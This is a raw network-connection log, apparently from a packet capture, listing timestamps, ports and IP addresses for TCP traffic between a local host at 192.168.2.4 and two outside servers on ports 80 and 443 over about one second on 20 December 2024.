Dec 20, 2024 09:12:42.835964918 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.835995913 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.836014986 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.844271898 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.844307899 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.844357014 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.852613926 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.852683067 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.852760077 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.852830887 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.860987902 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.861047029 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.861126900 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.861198902 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.869370937 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.869429111 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.869462967 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.869513035 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.877726078 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.877789974 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.877908945 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.878021955 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.886115074 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.886234999 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.886306047 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.886420965 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.893719912 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.893781900 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.893843889 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.893963099 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.934545040 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.934606075 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.934655905 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.934753895 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.005172968 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.005234957 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.006649971 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.006660938 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.007158995 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.008450031 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.009274006 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.009310007 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.009494066 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.009531021 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.009630919 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.009687901 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.010633945 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.010654926 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.010790110 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.010819912 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.010950089 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.010986090 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.011004925 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.011126041 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.011162996 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.055330992 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.055455923 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.055505991 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.055526972 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.066437960 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.066493034 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.099363089 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.099553108 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.099617958 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.099644899 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.115951061 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.115988970 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.116008997 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.116024017 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.116041899 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.116060019 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.116074085 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.116102934 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.143326998 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.143419027 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:43.185976028 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.186038971 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.191329956 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.235373020 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.235423088 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.235438108 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.235466003 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.235524893 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.235610962 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.305706024 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.305743933 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.305766106 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.305788994 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.305811882 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.305846930 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.305881977 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.305896044 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.305917025 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.305927992 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.305962086 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.305965900 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306000948 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306014061 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306035042 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306044102 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306071043 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306082964 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306117058 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306122065 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306155920 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306166887 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306189060 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306199074 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306221962 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306236982 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306263924 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306318045 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306349993 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306363106 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306392908 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306440115 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306477070 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306525946 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306534052 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306586027 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306591034 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306633949 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306667089 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306700945 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306715965 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306735039 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306747913 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306770086 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306787014 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306803942 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306813002 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306838989 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306850910 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306874037 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306883097 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306910992 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306921959 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306951046 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306962967 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.306988955 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.306993961 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307038069 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307073116 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307106018 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307121992 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307140112 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307148933 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307173967 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307195902 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307202101 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307216883 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307245016 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307516098 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307549953 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307585955 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307599068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307621002 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307630062 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307655096 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307687998 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307701111 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307722092 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307739973 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307755947 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307775021 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307806015 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.307957888 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.307992935 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.308012962 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.308026075 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.308031082 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.308062077 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.308084011 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.308099031 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.308111906 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.308145046 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.355360985 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.355427027 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.355451107 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.355606079 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.356988907 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.357040882 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.357101917 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.357156038 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.360619068 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.360670090 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.360672951 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.360719919 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.390794992 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.390846968 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.426683903 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.426723957 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.426737070 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.426773071 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.428500891 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.428538084 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.428563118 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.428580999 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.432097912 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.432152033 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.432221889 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.432337999 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.435717106 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.435775042 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.435803890 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.435887098 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.439419031 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.439471006 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.439487934 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.439531088 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.442682981 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.442735910 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.442795992 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.442842960 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.446043968 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.446099043 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.446166039 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.446307898 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.449454069 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.449505091 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.449506998 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.449551105 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.452765942 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.452900887 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.452917099 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.452958107 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.456090927 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.456140995 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.456204891 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.456254959 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.459475994 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.459567070 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.459625006 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.462833881 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.462884903 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.462945938 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.463056087 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.466188908 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.466245890 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.466289043 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.466425896 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.469557047 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.469608068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.469609976 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.469654083 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.472843885 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.472894907 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.472970009 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.473018885 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.476233959 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.476286888 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.476336956 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.476387024 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.479628086 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.479681015 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.479684114 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.479724884 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.482980967 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.483015060 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.483037949 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.483058929 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.486332893 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.486392975 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.486463070 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.486752033 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.489674091 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.489778996 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.489790916 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.489844084 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.492991924 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.493072033 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.494668007 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.494740009 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.494776964 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.494889021 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.498034954 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.498092890 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.498152971 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.498199940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.501425982 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.501523972 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.501590014 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.504740953 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.504801035 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.504862070 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.504981995 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.508102894 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.508151054 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.508208036 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.508275032 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.511470079 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.511547089 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.511565924 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.511594057 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.514827967 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.514882088 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.514900923 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.514933109 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.518151999 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.518207073 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.518280029 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.518330097 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.521583080 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.521703959 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.521760941 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.524863005 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.524919987 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.525005102 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.525058985 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.528247118 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.528299093 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.528378010 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.528426886 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.531615019 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.531709909 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.531713009 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.531905890 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.534918070 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.534971952 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.534995079 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.535056114 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.538288116 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.538371086 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.538466930 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.538506985 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.541671038 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.541766882 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.541769981 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.541815042 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.545015097 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.545085907 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.545120955 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.545291901 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.548372030 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.548408031 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.548448086 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.548475981 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.549124956 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:43.551754951 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.551851034 CET	80	49855	31.41.244.11	192.168.2.4
